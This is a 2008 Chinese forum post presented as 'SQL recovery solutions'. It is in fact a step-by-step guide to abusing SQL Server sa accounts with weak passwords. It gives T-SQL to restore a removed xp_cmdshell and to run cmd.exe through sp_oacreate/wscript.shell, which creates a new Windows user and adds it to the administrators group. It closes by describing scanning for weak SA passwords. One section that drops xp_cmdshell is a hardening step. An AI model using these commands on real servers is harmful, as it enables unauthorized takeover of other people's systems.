找回密码
 注册
首页 ≡≡网络技术≡≡ 数据库 sql恢复解决方案

sql恢复解决方案

黑蝴蝶 2008-1-10 16:42:35
<p>一.更改sa口令方法:</p><p>用sql综合利用工具连接后,执行命令:<br />exec sp_password NULL,&#39;新密码&#39;,&#39;sa&#39;<br />(提示:慎用!)</p><p>二.简单修补sa弱口令:</p><p>方法1:查询分离器连接后执行:</p><p>if exists (select * from <br />dbo.sysobjects where id = object_id(N&#39;[dbo].[xp_cmdshell]&#39;) and <br />OBJECTPROPERTY(id, N&#39;IsExtendedProc&#39;) = 1) <br />exec sp_dropextendedproc N&#39;[dbo].[xp_cmdshell]&#39; <br />GO</p><p>然后按F5键命令执行完毕。</p><p>方法2:查询分离器连接后<br />第一步执行:use master,<br />第二步执行:sp_dropextendedproc &#39;xp_cmdshell&#39;,<br />然后按F5键命令执行完毕。</p><p>三.常见情况恢复执行xp_cmdshell:</p><p>1 未能找到存储过程&#39;master..xpcmdshell&#39;。</p><p>恢复方法:查询分离器连接后,</p><p>第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =&#39;xplog70.dll&#39;declare @o int,<br />第二步执行:sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;,<br />然后按F5键命令执行完毕。</p><p>2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)</p><p>恢复方法:查询分离器连接后,</p><p>第一步执行:sp_dropextendedproc "xp_cmdshell",<br />第二步执行:sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;<br />然后按F5键命令执行完毕。</p><p>3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)</p><p>恢复方法:查询分离器连接后,<br />第一步执行:exec sp_dropextendedproc &#39;xp_cmdshell&#39;<br />第二步执行:exec sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xpweb70.dll&#39;<br />然后按F5键命令执行完毕。</p><p>四.终极方法:</p><p>如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:</p><p>查询分离器连接后,</p><p>2000servser系统:</p><p>declare @shell int exec sp_oacreate &#39;wscript.shell&#39;,@shell output<br />exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:&#92;winnt&#92;system32&#92;cmd.exe /c net user 新用户 密码 /add&#39;</p><p>declare @shell int exec sp_oacreate &#39;wscript.shell&#39;,@shell output exec sp_oamethod<br />@shell,&#39;run&#39;,null,&#39;c:&#92;winnt&#92;system32&#92;cmd.exe /c net localgroup administrators 新用户 /add&#39;</p><p>xp或2003server系统:</p><p>declare @shell int exec sp_oacreate &#39;wscript.shell&#39;,@shell output exec sp_oamethod<br />@shell,&#39;run&#39;,null,&#39;c:&#92;windows&#92;system32&#92;cmd.exe /c net user 新用户 密码 /add&#39;<br />declare @shell int exec sp_oacreate &#39;wscript.shell&#39;,@shell output exec sp_oamethod<br />@shell,&#39;run&#39;,null,&#39;c:&#92;windows&#92;system32&#92;cmd.exe /c net localgroup administrators 新用户 /add&#39;</p><p>其实还有其它办法只要你扫到SA弱口令发现执行不了DOS命令基本上是他的一个扩展储存给删了,只要给他上传一个到SYSTEM32下基本上可以解决。只是这个我还没认真研究。<br /></p>
您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。